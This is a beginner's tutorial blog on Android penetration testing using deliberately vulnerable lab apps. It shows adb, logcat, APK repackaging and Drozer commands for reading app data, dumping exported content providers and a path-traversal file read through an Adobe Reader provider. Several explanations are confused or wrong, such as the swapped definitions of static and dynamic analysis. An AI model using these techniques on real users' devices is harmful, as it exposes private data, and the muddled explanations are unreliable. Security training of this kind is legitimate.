Android Pentesting – Dynamic Analysis

Hi All, i'm Abhishek BV, this is a small write-up compiled while i was learning the android pentest with some of vulnerable applications. Here im trying to explain the android vulnerablities very in a simple language and stepwise. I have tried to cover many basic vulnerablities which is the foundation for ***Android PT Dynamic Analysis***. Also I'm attaching the vulnerable apk files along with this document. Hope it will be useful. Since its my first blog kindly bare the spellings or faults, I welcome for feedback (abhishek.bv@we45.com). Thank you.

The Vunerablities/topics i'm gonna cover are

- Intro to Android PT
- Intro to Static and Dynamic Analysis
- Intro to adb shell
- Insecure Data storage
- No Root Detection and Ssl Pinning Disabled
- Logging based Vulnerability
- Android reversing
- Intro to Drozer
- Leaking content providers
- Read based content provider Vulnerability
- Back up based Vulnerability


**Android Pentesting(PT) –** While we begin our AppSec jouney we start off with Web security testing be it bug bounty/VAPT. We learn a lot there but why get stuck for one platform. There is a huge raise in Mobile applications and its users. Hence security becomes most important part of any basic application. Irrespective be it Andoid, iOS. Today lets learn on Android. I often had a question how different is Web from Mobile PT

? Simple its just the Dynamic analysis part, yes you got me right. The static analysis part contains the PT we do with proxy(burp) and stuff. In the below section i have written a little on what is static analysis , when it comes to dynamic analysis its an ocean, we have huge number of attacks been made made day to day, always good to learn about them and try to exploit. In Dynamic analysis we mostly concentrate on exploiting the vulnerablities and implimentation of code written and how its applicable. This is my try on basics of Dynamic analysis along with example labs and solutions.(Its the same with iOS as well.)

*A glipmse on Static Analysis*

**Capturing proxy** – Game begins once we capture our application traffic through desired proxy like Burpsuit or ZAP. So ensure you get it done at the earliest. You can refer to https://portswigger.net/support/configuring-an-android-device-to-work-with-burp for easy set up of proxy with android device. We shall face many hurdles here, the main pin in the ass is ***ssl pinning bypass***. Well its a huge topic, there are methods to bypass ssl pinning as well but its always good to ensure we capture the application traffic.

Note – In case you are performing VAPT please do ask the client specifically for SSL Unpinned version of the application to perform the PT

Android PT can be done by rooting a physical device or using Genymotion(just like Vmware). Installation it on https://www.genymotion.com/

*quick Note* – Once you get ur genymotion, and select your desired virtual android device please install the ***arm translation*** for respective flavor of android upon which we can install our apps and capture proxy easily.

## Dynamic Analysis

Always try to Analyse the code as much as possible. Unzip the apk using the following tools.

1.APK tool

2.dex2jar

3.JD-GUI

First come first – Always analyse the manifest.xml to check which all permissions given by the developer to the application is relevent or not. Please do check for any hardcoded credentials, API keys, Passwords, how sessions are generated, where the data is being stored.

Lets get our hands Dirty!! - Labs

Install *catch.apk*

First unzip apk with

>unzip catch.apk -d catch

dexdump it to read xml file – dexdump -l xml classes.dex(classes.dex is in unzip of catch.apk)

Example - Mandatory to check the below

- In Android manifest file check for android:allowbackup="true"
- In Android manifest file check for android:debuggable="true"

This is a high severity Vulnerblity which allows the attacker to rebuild the application and to debug the application. Practicaly speaking this is a blunder, an app should never be released with debuggable attribute set to true. Debuggable attribute defines if we were to allow application to involve to backup or restore infrastructure. These are just some example.

You should always find the purpose of the application and accordingly provide the permissions.

**Adb shell –** well this is Goldmine, this is the basic. We can read through all the files in our android device by using adb shell. You can take help of link (https://linuxtechlab.com/install-adb-fastboot-ubuntu/) for installation. Its easy ;)

adb is a command line tool that allows us to interact or speak to android device that is **connected over USB(**in case of Genymotion no need to worry since we are already rooted and connected to same network**)**

Adb – android debug bridge, once you install type the following

>adb devices

To get the shell

>adb connect

Incase we have many device connected then check the device ip(on genymotion it will be listed in the toolbar of the genymotion app)

adb -s 192.168.56.101:5555 shell

do id, ls , cd /data/data

**Adb push**? *Adb push is the command used to copy any kind of file from our local system to android device*

>adb push test.txt /mnt/sdcard/test.txt (create a test.txt with some dummy data for testing purpose)

>adb shell mnt/sdcard

>adb shell ls /mnt /sdcard

**Adb Pull**, *Adb pull is used to copy the data to local system from device*

adb pull mnt/sdcard/secrets.txt secret.txt

**Insecure data storage (**any application**)**

Once you successfully on board the application and login, always check go to the

>adb connect

>su(root privilege)

>cd /data/data/

>ls

Here search for your application, which would be like com.asd.xyz(name of application)

>cd  com.asd.xyz, we get a list of files over here, example

cache

code_cache

databases

files

lib

no_backup

shared_prefs

It's **always** recommended to go to each of the directories/files and check for any unencoded data visbile like username, session, uid, password, api etc. There are instances where i have seen the db file right in the database folder ;)

Note – Never miss sniffing the shared_prefs folder.

### No Root Detection and Ssl Pinning Disabled

type the below command

>adb shell

> id

if you are able to connect to a shell and get the device details , Hurray!! Yes thats a major bug. You can report. There is no root detection SSL pinning enabled. This allows attacker to access data that is stored in device which otherwise is restricted. Basically Google does not allow users to run anything with root permissions, This simply measns user can't fully control what their device is doing. Any secure application must ensure that it has in place proper root detection is implemented with complex techniques

### Note - SSL pinning

normaly wwhat developers do is , they restrict the app when the traffic is being captured by proxy. So we can overcome it by installing some tools such as exposed installer, ssl unpinning etc to capture the low of traffic in proxy.

### Catching logs(try on any app)

adb shell ps | grep -i base(name of application)

adb logcat | grep pid

### Logging based Vulnerability – yahoo_messenger.apk

This is one of the high severity vuln, here the attacker performs just a one liner to capture the information as and when you perform the action on the application, Ex – if you are logging in to an application and type your username and password then the user can see the credentials in plain text if the creds are not encoded.

Begin the application, perform some action and type the below

>adb logcat

adb shell ps | grep -i yahoo , ull get a id

u0_a52 4237 276 1298524 294336 ep_poll f7319d75 S com.yahoo.mobile.client.android.im

now grep logcat for that process id

adb logcat | grep 4237.

### Android reversing – cocon.apk

1.Perform dex to jar - ./jadx com.android.secrettalk.apk -d secrettalk

2.go to smali inside that there will be many files

3.check them nano cocon.txt change the required code

4.build it again to new apk using the below, comeback to parent folder

5.apktool b cocon/ -o new_app.apk – new app with changes is created

6.then install but it throws error now check for sigining.txt and include the app name.

### Leaking content providers – threebanana.notes apk

Acc to Google security model, any application data is private to application itself. Simple, the data stored in it should not be read/accessed by any other application. But when

application needs to share data(google maps link sent in whatsapp), Here the Content providers act as interface for sharing data between application.

**Security perspective –** Our concern is there would be cases where content providers are not implemented to share data with other applications, also if the developer may want to give permissions to only certain other apps to share data, In such cases proper security measure has to be taken to avoid data leakage

Lets see how one of such CP leads to data leakage

First find the content provider in an application

download old version of note application add a note.

Hands dirty – Lab

>adb shell

>cd /data/data -> you will get all the package names application data

com.android.filemanager

>cd com.threebanana.notes

>ls -la -> you will find note_pad.db open it will sqlite3 and u can read all the saved databases

How to extract these data otherwise – get hold of apk file and get to know how its stored

another way to get this is by using content provider in the application

always developer builds the content provider by syntax

“content://”

first check where the application apk is stored

**adb shell pm path com.threebanana.notes** , ull get the path copy path

make directory called catch(mkdir catch)  go to catch(cd catch) and pull apk here

>adb pull /data/app/com.threeb.notes-1.apk

now use apktool to decompile

**use of content provider** -

it will start as content://

ex- if there is sms db

we do select * from db where sms = ‘’;

but using content provider we can query

content://sms which gives all the databases

the command is inside the folder of decomplied appln

do **grep -iRn ‘content://’** - you get all the content provider in the application

search for notes

among all the data search for which one you might get data

**adb shell content query --uri content://com.threebanana.notes.provider.NotePad/notes**

here u can see the data entered in phone in “text=”

*these were done with root privileges. How to do it without? We use Drozer*

**Drozer framework**

Drozer is a comprehensive security and attack framework written in python used for security testing for Android

have a look at https://labs.f-secure.com/tools/drozer/ for installation

Its the same like above you have to install drozer app on the mobile as well as the agent on your local system.

Lets begin!!

drozer gives us what is the probablity for application(package) being vulnerable for attack

>open drozer click connect(on device)

>adb forward tcp:31415 tcp:31415

>drozer console connect (ul get a shell)

>ls (gives all modules)

**attack surface – gives YOU what is the probablity of attacking this application**

>run app.package.list – gives all the package list

>run app.package.attacksurface com.threebabnana.notes

Attack Surface:

13 activities exported

6 broadcast receivers exported

**2 content providers exported**

3 services exported

->now we shall find out all the content providers

content provider exported

**>run app.provider.finduri com.threebanana.notes** - >

provides all the content provider names and list

-> to query it

**>run app.provider.query content://com.threebanana.notes.provider.NotePad/notes –verticle(-v)**

u'l get all the information collumn wise readble.

**READ BASED CONTENT PROVIDER Vulnerability**

Lets take an example attack which really happened where in Adobe read Vulnerability, path traversal vuln – could exploit adobe reader' permission to read files from sd card

**>run app.package.list -f adobe (-f search )**

>run app.package.attacksurface com.adobe.reader

1 content provider exported

> run app.provider.finduri com.adobe.reader

how to check the contents of sd card

adb shell

cd mnt/sdcard

ls

move a sample txt file from local to sd card of mobile

have a sectrt.txt(sample file) in sdcard

**check permission of both drozer and adobe**

**Note – command to check the permission of any app**(package)

**Important note –** The difference between adb and drozer is dz just has internet permission not root

**run app.package.info -a com.mwr.dz(drozer du)** – to get all allowed permissions

Uses Permissions:

- android.permission.INTERNET

Defines Permissions:

- None

check the vuln

dz> run app.provider.finduri com.adobe.reader

Scanning com.adobe.reader...

content://com.adobe.reader.fileprovider/

content://com.adobe.reader.fileprovider

>run app.provider.query content://com.adobe.reader.fileprovider/

unknown error we'll get bcoz its attached to some db so we do **app.provider.read**

now use – >app.provider.read content://com.adobe.reader.fileprovider

**/../../../../mnt/sdcard/secret.txt** (its just the saved path of the file )at end you should give path of ur txt file

>run app.provider.read content://com.adobe.reader.fileprovider/ mnt/sdcard/march12

gives error becasue not correct path so

>run app.provider.read content://com.adobe.reader.fileprovider/../../../../../mnt/sdcard/march12

here dz just had internet permission but not to read adobe

## CREATE YOUR OWN DROZER SCRIPT

write ur script according to the syntax in python .info extention

dz>module repository create new_folder_name

>module install /localpath/ex.device.info

>run ex.device.info

## BACK UP BASED Vulnerability

taking backup of any application and restoring.

Hope you remember - In Android manifest file check for android:allowbackup="true"

**how to take backup**

```
> adb backup com.threebanana.notes -f app.db
```

**SQL injection**

If you find any db file while surfing the adb shell take a back up if possible or install sqlite3 on shell and continue as we do in the WebApp PT

All the above Vunerable applications and drozer agent can be got here -